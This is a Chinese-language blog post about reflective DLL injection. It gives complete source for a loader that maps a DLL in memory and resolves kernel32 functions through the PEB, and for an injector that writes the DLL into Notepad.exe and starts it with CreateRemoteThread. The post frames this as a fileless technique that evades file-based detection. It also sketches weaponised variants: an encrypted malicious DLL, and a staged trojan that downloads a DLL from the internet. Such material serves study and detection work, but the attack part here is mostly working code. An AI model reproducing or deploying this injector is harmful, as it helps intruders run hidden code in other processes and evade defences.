反射DLL注入 (Reflective DLL Injection)

反射DLL注入是一种高级的注入技术,其核心在于完全在内存中模拟 Windows 加载器(PE Loader)的行为。与传统的 LoadLibrary 注入不同,它不需要将 DLL 文件保存在磁盘上,从而实现了“无文件落地”攻击,规避了基于文件的静态检测。

本文档包含完整的反射注入实现代码,分为两部分:

  1. ReflectiveLoader: 编写在 DLL 内部的自举导出函数,负责将自身正确加载到内存并执行。
  2. ReflectiveInjection: 运行在本地的注入器,负责将 DLL 写入目标进程并触发 ReflectiveLoader。

原理: 标准的 OS 加载器会将 PE 文件从磁盘的“文件对齐”状态映射到内存的“页对齐”状态。反射注入需要手动完成这一步。

为了简化注入器与 Shellcode 的交互,通常采用一种特殊的内存布局:

  1. Raw Data 区: 存放原始的 DLL 文件二进制数据。这是注入器写入的初始状态。
  2. Virtual Image 区: 存放展开后的、可执行的 DLL 镜像。这是反射加载器“自我安装”的目标区域。

1. 反射加载器 ReflectiveLoader

1.1 原理描述

原理: 这是 DLL 的自举过程。代码当前运行在 Raw Data 区,环境是不稳定的(重定位未修复、导入表未初始化)。目标是构建一个干净的 Virtual Image 区并转移控制权。

该项目中给出的代码是反射 dll 的 demo实现。真正的反射 dll 利用需要进一步的实现对 ReflectiveLoader 代码进行修改。

该 ReflectiveLoader 会将 dll 文件从系统的“文件对齐”状态在系统运行过程中进行内存布局修改迁移,将原先以系统“文件对齐”方式加载到内存中的 dll 映射成 “页对齐”的状态,使系统能够将布局后的 dll 作为程序执行,调用其中的导出函数。

1.2 代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
#include "pch.h"
#include <windows.h>
#include <stdio.h>
#include <stdbool.h>
#include <winternl.h>

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);
wchar_t* ExtractDllName(const wchar_t* fullDllName);
void my_wctomb(char* dest, const wchar_t* src);
int CompareStrings(const char* str1, const char* str2);
// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
MessageBoxA(NULL, "Hello from Reflective DLL!", "DllMain", MB_OK);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// 自定义的宽字符转普通字符的函数
void my_wctomb(char* dest, const wchar_t* src) {
while (*src) {
if (*src >= L'A' && *src <= L'Z') {
*dest = (char)(*src + (L'a' - L'A')); // 转换大写字符为小写
}
else if (*src >= L'a' && *src <= L'z') {
*dest = (char)*src; // 保留小写字符
}
else if (*src >= L'0' && *src <= L'9') {
*dest = (char)*src; // 保留数字字符
}
else {
*dest = '?'; // 对于其他字符,可以选择替代字符,例如 '?'
}
dest++;
src++;
}
*dest = '\0'; // 确保目标字符串以 null 结尾
}
int CompareStrings(const char* str1, const char* str2) {
while (*str2 != '\0') {
if (*str1 != *str2) {
return 0; // 返回差值
}
str1++;
str2++;
}
return 1; // 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {
size_t i = 0;
while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {
// 将两个字符都转换为小写进行比较
wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];
wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];

// 如果字符不同,则返回比较结果
if (ch1 != ch2) {
return 0;
}
i++;
}

// 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
return 1; // 如果两个字符串完全相同,返回 0
}

// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
wchar_t* fileName = NULL;
wchar_t* temp = (wchar_t*)fullDllName;

// 遍历并找到最后一个 '\\',获取文件名部分
while (*temp) {
if (*temp == L'\\') {
fileName = temp + 1; // 更新文件名的位置
}
temp++;
}

// 如果没有找到 '\\',则认为整个字符串就是文件名
if (!fileName) {
fileName = (wchar_t*)fullDllName;
}

return fileName;
}

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)
{
//获取磁盘文件的DOS头和NT头
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll; //赋值DOS头
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头

//给内存分配空间,并对pAlloc进行初始化
DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; //内存空间大小
PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);

if (pAlloc == NULL) return FALSE;
if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; // 无效的头,直接退出


// 手动实现 CopyMemory 的功能
BYTE* dst = (BYTE*)pAlloc; // 目标内存地址
BYTE* src = (BYTE*)pDll; // 源内存地址
size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数

for (size_t i = 0; i < size; ++i) {
dst[i] = src[i]; // 逐字节复制
}

//复制节区表
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));
DWORD SecNum = pNTheader->FileHeader.NumberOfSections;

for (int i = 0; i < SecNum; i++) {
if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue;
}

char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));
char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));
DWORD dwSizeOfRawData = pSec->SizeOfRawData;
DWORD dwVirtualSize = pSec->Misc.VirtualSize;
for (DWORD j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}

if (dwVirtualSize > dwSizeOfRawData) {
char* start = chDestMem + dwSizeOfRawData;
char* end = chDestMem + dwVirtualSize;
while (start < end) {
*start++ = 0;
}
}

pSec++;
}

//开始检测并加载重定位表
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);
//重定位表指针通过NT结构的数据目录表查找到位置
int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中
if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do {
PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8); //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
int num = (pBaseReloc->SizeOfBlock - 8) / 2; //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
for (int i = 0; i < num; i++)
{
WORD type = TypeOffset[i] >> 12; //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
WORD offset = TypeOffset[i] & 0x0FFF; //去掉类型(前四字节)
int differ = 0;
if (type == 3)
{
differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR p = (ULONG_PTR)pAlloc + differ;
char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;
char* fromeaddr = (char*)p;
for (int c = 0; c < 4; c++) {
tagetaddr[c] = fromeaddr[c];
}
}
}
SizeOfBaseReloc -= pBaseReloc->SizeOfBlock; //通过字节大小来间接表示个数
pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构
} while (SizeOfBaseReloc);
}

//GetProcAddress的地址
typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR);
//LoadLibrary的地址
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);

GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
//得到TEB的地址,通过TEB找到PEB
PTEB pTEB = (PTEB)__readgsqword(0x30);
PPEB pPEB = pTEB->ProcessEnvironmentBlock;
// 获取PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;

// 遍历模块列表,找到 kernel32.dll
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while (pCurrentEntry && pCurrentEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (pEntry && pEntry->FullDllName.Buffer)
{
wchar_t* dllName = pEntry->FullDllName.Buffer;
// 提取 DLL 名称
wchar_t* fileName = ExtractDllName(dllName);
// 目标 DLL 名称kernel32.dll
wchar_t a[] = { L'k', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };

if (CompareDllName(fileName, a)) {
HMODULE hKernel32 = (HMODULE)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
// 获取导出表的地址
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出表的各个信息
DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions);
WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);

// 遍历导出表,查找 LoadLibraryA
char targetName1[50] = { 'L','o','a','d','L','i','b','r','a','r','y','A','\0' };
// 遍历导出表,查找 GetProcAddress
char targetName2[50] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's','\0' };
int isP = 0;
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]);
if (CompareStrings(functionName, targetName1)) {
// 找到函数名,获取其地址
DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA);
isP++;
}
if (CompareStrings(functionName, targetName2)) {
// 找到函数名,获取其地址
DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA);
isP++;
}
if (isP == 2) {
break;
}
}
break; // 找到后退出
}
}
pCurrentEntry = pCurrentEntry->Flink;
}

if (!pLoadLibraryA && !pGetProcAddress)
{
char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块";
return FALSE;
}
else {
char sucsess[] = "sucsess";
}

PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
//这个是IID的指针
if (pImport != NULL)
{
while (pImport->Name != NULL)
{
char DLLname[50] = { 0 }; // 定义一个存储 DLL 名称的缓冲区
char* pDLLName = (char*)(pImport->Name + pAlloc); // 获取 DLL 名称的地址

// 手动将名称拷贝到 DLLname 缓冲区
for (int i = 0; i < sizeof(DLLname) - 1; i++)
{
if (pDLLName[i] == '\0') // 遇到字符串结束符时停止
break;
DLLname[i] = pDLLName[i]; // 拷贝字符
}
DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾

HMODULE hProcess = pLoadLibraryA(DLLname); //通过名称找句柄
if (!hProcess)
{
return FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc); //找DLL中函数的名字
if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式
{
pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));//通过序号来获取地址
}
else
{
pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name)); //通过函数名来获取地址
}
pINT++;
pIAT++;
}
pImport++;
}
}

//最后的操作就是修正程序的入口地址
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
EOP();
return TRUE;
}

2. 反射注入 ReflectiveInjection

2.1 原理描述

原理: 注入器无法直接调用 DLL 的导出函数,因为 DLL 尚未被 OS 加载,且地址是未知的。它必须手动找到引导函数 (ReflectLoader) 在 Raw Data 中的物理偏移,并创建一个线程去执行它。

该代码只是验证反射加载器成效的 demo,如果想要实现进一步利用的场景可以参考一下场景。

  1. 白+黑:将黑 dll 的进行编码加密后写入到反射加载器中,后续反射加载器直接读取dll编码内容解密解析布局,通过main执行。
  2. 分阶段stage:ReflectiveInjection作为木马,执行后从互联网中读取 dll 文件,将 dll 文件注入进程然后调用其导出函数,实现反射 dll 注入。

2.2 代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <fstream>
#include <vector>

// 获取进程ID
DWORD GetProcessIdByName(const wchar_t* processName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { sizeof(pe) };
if (Process32FirstW(hSnap, &pe)) {
do {
if (wcscmp(pe.szExeFile, processName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}

// 将RVA转换为文件偏移(FOA)
DWORD RVAtoFOA(DWORD rva, unsigned char* dllBuffer) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBuffer;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllBuffer + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((BYTE*)nt + sizeof(IMAGE_NT_HEADERS));
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (rva >= sec[i].VirtualAddress && rva < sec[i].VirtualAddress + sec[i].SizeOfRawData)
return sec[i].PointerToRawData + (rva - sec[i].VirtualAddress);
}
return 0xFFFFFFFF;
}

// 获取ReflectiveLoader的文件偏移(FOA)
DWORD GetReflectiveLoaderFOA(unsigned char* dllBuffer) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBuffer;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllBuffer + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((BYTE*)nt + sizeof(IMAGE_NT_HEADERS));
DWORD exportDirRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD exportDirFOA = RVAtoFOA(exportDirRVA, dllBuffer);
if (exportDirFOA == 0xFFFFFFFF) return 0;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)dllBuffer + exportDirFOA);
DWORD* names = (DWORD*)((BYTE*)dllBuffer + RVAtoFOA(exp->AddressOfNames, dllBuffer));
WORD* ords = (WORD*)((BYTE*)dllBuffer + RVAtoFOA(exp->AddressOfNameOrdinals, dllBuffer));
DWORD* funcs = (DWORD*)((BYTE*)dllBuffer + RVAtoFOA(exp->AddressOfFunctions, dllBuffer));
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
DWORD nameFOA = RVAtoFOA(names[i], dllBuffer);
const char* name = (const char*)((BYTE*)dllBuffer + nameFOA);
if (strcmp(name, "ReflectLoader") == 0) {
WORD ord = ords[i];
DWORD funcRVA = funcs[ord];
DWORD funcFOA = RVAtoFOA(funcRVA, dllBuffer);
return funcFOA;
}
}
return 0;
}

int main() {
// 1. 配置参数
const char* dllPath = "Path to ReflectiveLoader.dll"; // 你的DLL路径
const wchar_t* targetProcess = L"Notepad.exe"; // 目标进程名


// 2. 读取DLL文件
HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD FIleSize = GetFileSize(hFile, NULL);
unsigned char* dllBuffer = new unsigned char[FIleSize];
ZeroMemory(dllBuffer, FIleSize);
if (!ReadFile(hFile, dllBuffer, FIleSize, 0, NULL)) {
delete[] dllBuffer;
CloseHandle(hFile);
return 0;
}
CloseHandle(hFile);
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dllBuffer;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)dllBuffer + pDos->e_lfanew);
DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;
ULONG_PTR TotalSize = ImageSize * 2;

/*
* 两份空间的需求
* 第一份空间:存放DLL文件的原始内容(File Buffer)
* 第二份空间:ReflectiveLoader在目标进程内“重建”DLL时,需要一块和 SizeOfImage 一样大的空间(Image Buffer)
* 由于你只分配一块内存,通常会直接分配两倍的 SizeOfImage,以保证ReflectiveLoader有足够的空间进行操作,避免越界。
*/

// 3. 获取目标进程PID
DWORD pid = GetProcessIdByName(targetProcess);
if (!pid) {
std::cout << "未找到目标进程\n";
return 1;
}
std::cout << "目标进程PID: " << pid << "\n";

// 4. 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::cout << "打开进程失败\n";
return 1;
}

// 5. 在目标进程分配内存
LPVOID remoteDll = VirtualAllocEx(hProcess, NULL, TotalSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteDll) {
std::cout << "分配内存失败\n";
CloseHandle(hProcess);
return 1;
}

// 6. 写入DLL到目标进程
SIZE_T written = 0;
if (!WriteProcessMemory(hProcess, remoteDll, dllBuffer, FIleSize, &written) || written != FIleSize) {
std::cout << "写入内存失败\n";
VirtualFreeEx(hProcess, remoteDll, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

// 7. 计算ReflectiveLoader偏移
DWORD loaderFOA = GetReflectiveLoaderFOA(dllBuffer);
if (loaderFOA == 0) {
std::cout << "未找到ReflectiveLoader导出\n";
VirtualFreeEx(hProcess, remoteDll, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
LPTHREAD_START_ROUTINE pLoader = (LPTHREAD_START_ROUTINE)((BYTE*)remoteDll + loaderFOA);

// 8. 创建远程线程执行ReflectiveLoader
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pLoader, remoteDll, 0, NULL);
if (!hThread) {
std::cout << "远程线程创建失败\n";
VirtualFreeEx(hProcess, remoteDll, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
std::cout << "注入成功,线程句柄: " << hThread << "\n";
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}

参考链接

  1. https://xz.aliyun.com/news/17089

反射DLL注入 (Reflective DLL Injection)
http://candyb0x.github.io/2025/12/20/反射DLL注入-Reflective-DLL-Injection/
作者
Candy
发布于
2025年12月20日
更新于
2025年12月24日
许可协议